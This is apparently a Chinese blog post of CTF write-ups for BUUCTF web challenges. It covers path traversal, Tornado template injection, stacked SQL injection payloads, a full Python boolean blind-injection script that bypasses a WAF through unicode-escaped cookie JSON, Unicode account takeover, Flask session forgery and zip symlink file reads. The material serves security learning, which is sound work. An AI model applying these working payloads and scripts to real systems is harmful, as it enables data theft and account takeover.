BUUCTF平臺-web-邊刷邊記錄-1

1.WarmUp

思路很清晰,文件包含,漏洞點在代碼會二次解碼,只需注入一個?就可以使用../../進行路徑穿越,然後去包含flag,flag路徑在hint.php裏面有

 2.easy_tornado

題目就給了這些信息,flag路徑已知,render應該是跟模板注入相關,hint.txt給的應該是filehash的算法,

看看url,我們可以控制文件名和文件hash

隨便傳一個不存在的文件名會跳轉到error頁面,這裏直接把error字符串返回了回來,所以嘗試一下模板注入,寫個9,也返回了,猜測題目應該是我們需要去算出flag文件對應的filehash,但是因爲這個密鑰是不知道的,所以我們需要去通過模板注入弄出密鑰,題目又是tornado,這裏常規模板注入的字符比如[],()都被過濾掉了,因此嘗試找一些tonado的全局配置來讀取看看

 

所以用handler.settings可以訪問到tornado的一些“應用程序設置“,那麼web網站中的一些變量信息應該也在其中存儲着,所以直接訪問就能得到密鑰,然後就可以根據這個密鑰來構造filehash

得到secret然後md5哈希一下就可以,看文檔還是有用的,不會就多看文檔多google,當然思路要對,比如這裏就猜測secret存儲在應用的一些全局配置中。

3.隨便注

這裏首先提交1,這裏回顯的1對應的數據,然後提交1',報錯了

再提交1' or ''=',返回正常:

說明肯定存在注入,但是這裏把常見的關鍵字都過掉了,並且是不區分大小寫的正則進行過濾,所以常規的查系統表然後注入的方法肯定不行,這裏可以嘗試堆疊注入。

得到了兩張表,那麼接下來肯定要查一下兩張表有哪些字段,用show coloums from,就可以得到flag字段,這裏使用show create table `1919810931114514`;語句也可以查到表的結構。
然後

 

 這裏有兩種解法:

第一種,因爲後端數據庫實際上是查詢的words表,可以使用alter來更改表名和表字段,讓1919810931114514的表更名爲words表,那麼查詢的words的時候實際上是對19這張表的查詢,這思路真騷。

payload爲:

';alter table `1919810931114514` add(id int default 1);alter table words rename xxx;alter table `1919810931114514` rename words;#

然後再查詢就可以查詢到flag了,這裏我猜測後端語句應該是select * from words where id=1

 

 第二種,除了這種騷操作,常規的我見過的還是這種:

#coding=utf-8
import requests
#1919810931114514
part_url='http://49.4.66.242:31368/?inject='
payload="select flag from `1919810931114514`;"
payload=payload.encode('hex')
payload='''1';Set @x=0x'''+str(payload)+''';Prepare a from @x;execute a;%23'''
print payload
full_url=part_url+payload
r=requests.get(url=full_url)
print r.content

先編譯sql語句,這裏將payload進行了16進制編碼,然後使用execute來進行執行,這裏16進制編碼的payload在編譯中可以識別出來的,又學到了。

4.kzone

 直接訪問是跳轉了,說明應該有js之類檢測,不滿足就跳轉,直接掃一下目錄:

這裏就不掃了,buu有檢測,怕被ban,總之可以掃描到源碼:

可以看到index.php有這一段加以限制

 注入點在member.php裏,此時將cookie中的值json_decode以後拼接username,因爲有第一行defined的限制,找到其定義的地方在common.php

其中在safe.php中對一些sql關鍵字進行了過濾union過濾了,and or都過濾了,\s把空格也都過濾了,那麼系統表都用不了了,短路還可以用^或這||或者&&來代替,單引號也沒有過濾, 因此可以閉合前面的單引號,字符串截取函數我們可以用right,因爲ord+mid+ascii+substring都被過濾了,空格可以用/**/來繞過,但是等號,大於小於也沒了,因此正常的注入語句就用不了,所以必須要bypass,這裏注意到safe.php的過濾

這裏對所有的get、post、cookie的值進行了過濾http頭部內的值是沒有過濾的,那麼可以嘗試找一下http頭部內有沒有注入的點,但是在此題中是不存在的,但是在member.php中要對cookie中的值進行json_decode,因此可以先對關鍵字進行unicode編碼一下,然後經過safe.php過濾時可以順利繞過,再經過json_decode解碼時就可以還原成正確的payload

先在burp中測試一下注入的邏輯:

當注入admin_user=sss'/**/||/**/'1時,此時返回了兩個set-cookie,當注入admin_user=sss'/**/||/**/'0時,返回了四個set-cookie

 

那麼我們就可以通過腳本來判斷返回的set-cookie個數來判斷邏輯,從而完整布爾盲注,當然這裏要用到=等號,和o進行一個unicode編碼替換,編寫腳本如下,我們可以依次查庫,用burp一跑就可以跑出來當前數據庫長度爲12

然後就可以跑出當前的數據庫,爲hctf_zone

然後跑出第一張表爲fish_admin

第二張表爲ip

第三表爲fish_user

然後最後一張表就是flag所在的表 fl2222g

然後繼續查出該表的字段爲f44ag

然後就能查出flag長度

然後就能查出flag了

exp:

#coding:utf-8
import  string
import time
import requests
url = "http://web39.buuoj.cn/include/common.php"

def encode(payload):
    payload = payload.replace('or','\u00'+str(hex(ord('o'))[2:])+"r")
    payload = payload.replace('=','\u00'+str(hex(ord('='))[2:]))
    payload = payload.replace(' ','/**/')
    print payload
    return payload

def database_length():
    inject = requests.session()
    db_length = 0
    for i in range(20):
        payload = "tr1ple' or (length((select database()))={}) && '1".format(str(i))
        payload = encode(payload)
        #print(payload)
        cookie = {"islogin":"1", "login_data": "{\"admin_user\":\""+payload+"\",\"admin_pass\":22}"
                  ,"PHPSESSID":"9ab188f3509995d88a68190fedc82358",
                  "wzws_cid":"2be75d4aa1d0208371049ab3d98730380c3ec0246c2b11de690ffae3a34c87545fac57fe81c91446c6ea0dc9e06f686a8e54160f220dc90124b7a61de8c251f5"
                }
        #print(cookie)
        time.sleep(1)
        #print inject.get(url=url, cookies=cookie).headers
        a=inject.get(url=url,cookies=cookie).headers["Set-Cookie"].count('islogin')
        print a
        time.sleep(1)
        if a==1:
            print "the length of database is {}".format(str(i))

def dump_database():
    inject = requests.session()
    payloads = string.lowercase + "{}" + string.digits+"_"
    flag = "zone"
    temp = ""
    for i in range(5, 100):
        for j in payloads:
            temp =  j+flag
            payload = "tr1ple' or (right((select database()),{})='{}') && '1".format(str(i), temp)
            payload = encode(payload)
            header={"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36"}
            cookie = {"islogin": "1", "login_data": "{\"admin_user\":\"" + payload + "\",\"admin_pass\":22}"
                ,"PHPSESSID": "9ab188f3509995d88a68190fedc82358",
                "wzws_cid":"5c4e233163a920134371bd1c9b7194124e1cf1ea5f8546f2166c5c389cdf502df61f375a4d508bd3121ff8f686cfe8541cedec92acb01375a17927e990adee3e"
            }
            # print(cookie)
            a = inject.get(url=url, cookies=cookie,headers=header).headers["Set-Cookie"]
            a=  a.count('islogin')
            #print a
            time.sleep(1)
            if a==1:
                flag=temp
                print flag
                break



def dump_table():
    inject = requests.session()
    payloads = string.lowercase + "{}" + string.digits + "_"+string.uppercase
    flag = ""
    temp = ""
    for i in range(1, 100):
        for j in payloads:
            temp = j + flag
            payload = "tr1ple' or (right((select table_name from information_schema.tables where table_schema=database() limit 3,1),{})='{}') && '1".format(str(i), temp)
            payload = encode(payload)
            header = {
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36"}
            cookie = {"islogin": "1", "login_data": "{\"admin_user\":\"" + payload + "\",\"admin_pass\":22}"
                , "PHPSESSID": "9ab188f3509995d88a68190fedc82358",
                      "wzws_cid": "5c4e233163a920134371bd1c9b7194124e1cf1ea5f8546f2166c5c389cdf502df61f375a4d508bd3121ff8f686cfe854ac13a8224f44b6d3e5ef234e42e8fe27"
                      }
            # print(cookie)
            a = inject.get(url=url, cookies=cookie, headers=header).headers["Set-Cookie"]
            a = a.count('islogin')
            # print a
            time.sleep(1)
            if a == 1:
                flag = temp
                print flag
                break

def dump_column():
    inject = requests.session()
    payloads = string.lowercase + "{}" + string.digits + "_"+string.uppercase
    flag = ""
    temp = ""
    for i in range(1, 100):
        for j in payloads:
            temp = j + flag
            payload = "tr1ple' or (right((select column_name from information_schema.columns where table_schema=database() && table_name=0x666c3232323267 limit 0,1),{})='{}') && '1".format(str(i), temp)
            payload = encode(payload)
            header = {
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36"}
            cookie = {"islogin": "1", "login_data": "{\"admin_user\":\"" + payload + "\",\"admin_pass\":22}"
                , "PHPSESSID": "9ab188f3509995d88a68190fedc82358",
                      "wzws_cid": "5c4e233163a920134371bd1c9b7194124e1cf1ea5f8546f2166c5c389cdf502df61f375a4d508bd3121ff8f686cfe854ac13a8224f44b6d3e5ef234e42e8fe27"
                      }
            # print(cookie)
            a = inject.get(url=url, cookies=cookie, headers=header).headers["Set-Cookie"]
            a = a.count('islogin')
            # print a
            time.sleep(1)
            if a == 1:
                flag = temp
                print flag
                break

def flag_length():
    inject = requests.session()
    db_length = 0
    for i in range(10,40):
        payload = "tr1ple' or (length((select f44ag from fl2222g))={}) && '1".format(str(i))
        payload = encode(payload)
        #print(payload)
        cookie = {"islogin":"1", "login_data": "{\"admin_user\":\""+payload+"\",\"admin_pass\":22}"
                  ,"PHPSESSID":"9ab188f3509995d88a68190fedc82358",
                  "wzws_cid":"5c4e233163a920134371bd1c9b7194124e1cf1ea5f8546f2166c5c389cdf502df61f375a4d508bd3121ff8f686cfe8548ff3860e266289c1326244e9ba33b4ef"
                }
        #print(cookie)
        time.sleep(1)
        #print inject.get(url=url, cookies=cookie).headers
        a=inject.get(url=url,cookies=cookie).headers["Set-Cookie"].count('islogin')
        print a
        time.sleep(1)
        if a==1:
            print "the flag length is {}".format(str(i))


def dump_flag():
    inject = requests.session()
    payloads = string.lowercase + "{}" + string.digits
    flag = "datmq1oh3j3rp0b18z4m}"
    temp = ""
    for i in range(22, 39):
        for j in payloads:
            temp = j + flag
            payload = "tr1ple' or (right((select f44ag from fl2222g),{})='{}') && '1".format(str(i), temp)
            payload = encode(payload)
            header = {
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36"}
            cookie = {"islogin": "1", "login_data": "{\"admin_user\":\"" + payload + "\",\"admin_pass\":22}"
                , "PHPSESSID": "9ab188f3509995d88a68190fedc82358",
                      "wzws_cid": "5c4e233163a920134371bd1c9b7194124e1cf1ea5f8546f2166c5c389cdf502df61f375a4d508bd3121ff8f686cfe854ac13a8224f44b6d3e5ef234e42e8fe27"
                      }
            # print(cookie)
            a = inject.get(url=url, cookies=cookie, headers=header).headers["Set-Cookie"]
            a = a.count('islogin')
            # print a
            time.sleep(1)
            if a == 1:
                flag = temp
                print flag
                break

if __name__ == '__main__':
    #database_length()
    #dump_database()
    #dump_table()
    #dump_column()
    #flag_length()
    dump_flag()

 

總結:

這道題考bypass waf來進行注入,雖然waf過濾了很多,但是有個json_decode,因此導致我們可以無視waf來進行注入,看了其他師傅的wp,當然這道題還有幾個值得學習的點:

1.過濾了or,那麼information_schema表用不了了,但是除了這一張元數據表外,還有其它的系統數據表可以用:

mysql.innodb_table_stats可以用來查表名

select/**/table_name/**/from/**/mysql.innodb_table_stats/**/limit/**/0,1

但是這種貌似不能直接查到字段,要是要提取flag的話,還得讓這個flag表只有一列

鏈接:https://xz.aliyun.com/t/3253#toc-7

2.對於注入時可以添加binary到字段前防止在對比時大小寫不敏感:

3.除了通常的字符串截取函數,mid+substr,right,left,還是可以用字符串比較函數strcmp,返回1或-1,同樣可以用來盲注

或者find_in_set,兩個字符串相等爲1,否則爲0,這個比較少見

更多的bypass先知上有人發了一篇,可以拿來參考

https://xz.aliyun.com/t/3992#toc-18

4.調試payload

在nu1l的wp中也看到了可以發包到burp進行調試,這樣很方便看到payload的效果,只要涉及到mysql函數嵌套的就用括號包起來

5.admin

解法1:

第一種,利用unicode編碼的漏洞,在unicode能表示的字符中,有的字符長的很相似,而恰巧有一些函數能夠進行字符之間的轉換,從而造成意想不到的結果

他們對用戶名是否重複的判斷是執行一次這個函數然後進行比對 ,例如AAA會被變爲aaa則和之前已經註冊過的aaa重複 ,但是這裏出現了一個錯誤,註冊一個ᴬᴬᴬ,經過函數處理後變成了AAA,因爲與aaa不同所以註冊成功,而在用戶點擊重置密碼的連接的時候,這個函數再次被執行了一次,AAA變成了aaa,導致用戶aaa的密碼被越權修改,這段話摘自:http://blog.lnyas.xyz/?p=1411,所以才能夠導致在註冊的時候ᴬdmin,登陸的時候經過函數處理依次變爲Admin,改密碼再處理一次變爲admin,從而就修改了admin的密碼,關於這個是如何發現的,我覺得如果本身熟悉python開發的話很快就能意識到strlower的問題,一般轉化小寫不用這個函數,所以我們才需要去跟蹤研究此函數可能存在的bypass方法,並且對於此題,給了登陸,註冊,修改密碼,那麼一般套路應該就是要修改admin的密碼再登錄。

解法2:

直接修改把session打印出來就可以,一般給了源碼本地就可以跑起來模擬

在config.py裏面也給了secretkey,可以直接進行cookie僞造,flask session是存儲在客戶端的,只有簽名防竄改作用,但是不是加密的,因此客戶端可讀,如果flask用來簽名session的key泄露,那麼就可以僞造session

 

6.hideandseek

這道題平臺環境壞了,說一下思路:

1.zip軟鏈接+任意文件讀取

首先要上傳一個zip,可以軟鏈接到任意文件,從而造成任意文件讀取,因爲是flask框架,先讀/proc/self/environ,可以得到

UWSGI_INI=/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini
PWD=/app/hard_t0_guess_n9f5a95b5ku9fg
WSGI 的官方定義是,the Python Web Server Gateway Interface。從名字就可以看出來,這東西是一個Gateway,也就是網關。網關的作用就是在協議之間進行轉換。
WSGI 是作爲 Web 服務器與 Web 應用程序或應用框架之間的一種低級別的接口,以提升可移植 Web 應用開發的共同點。WSGI 是基於現存的 CGI 標準而設計的。
很多框架都自帶了 WSGI server ,比如 Flask,webpy,Django、CherryPy等等。當然性能都不好,自帶的 web server 更多的是測試用途,發佈時則使用生產環境的 WSGI server或者是聯合 nginx 做 uwsgi 。
uWSGI是一個Web服務器,它實現了WSGI協議、uwsgi、http等協議。Nginx中HttpUwsgiModule的作用是與uWSGI服務器進行交換。
爲什麼有了uWSGI爲什麼還需要nginx?因爲nginx具備優秀的靜態內容處理能力,然後將動態內容轉發給uWSGI服務器,這樣可以達到很好的客戶端響應。

瞭解到uwsgi其實是個一般python web用的web服務器,用來動態處理客戶端的請求,那麼uswgi.ini中應該包含了

再讀取uwsgi_ini可以得到當前python web服務器的一些配置信息:

其中module中包含着py文件的路徑名稱,從而結合/proc/self/environ中的PWD來讀取py的源碼

即/app/hard_t0_guess_n9f5a95b5ku9fg/+module名.py

2.僞隨機+session僞造

flask sesion僞造時必須要知道secret key,這裏

random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)

uuid.getnode()函數是取mac地址作爲種子,因此爲固定值,所以可以本地跑出來secretkey,而linux的mac地址保存在/sys/class/net/eth0/address

因此就可以僞造cookie登陸了,這裏不能直接讀flag,必須以admin登錄纔可以,因爲有限制:

並且在/app/hard_t0_guess_n9f5a95b5ku9fg/index.html裏面有

 所以這道題並沒有新知識點,構造session的時候一般要和服務器端py版本一致

這個地址可以將mac地址轉到10進制,從而輸入種子,https://www.vultr.com/resources/mac-converter/

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章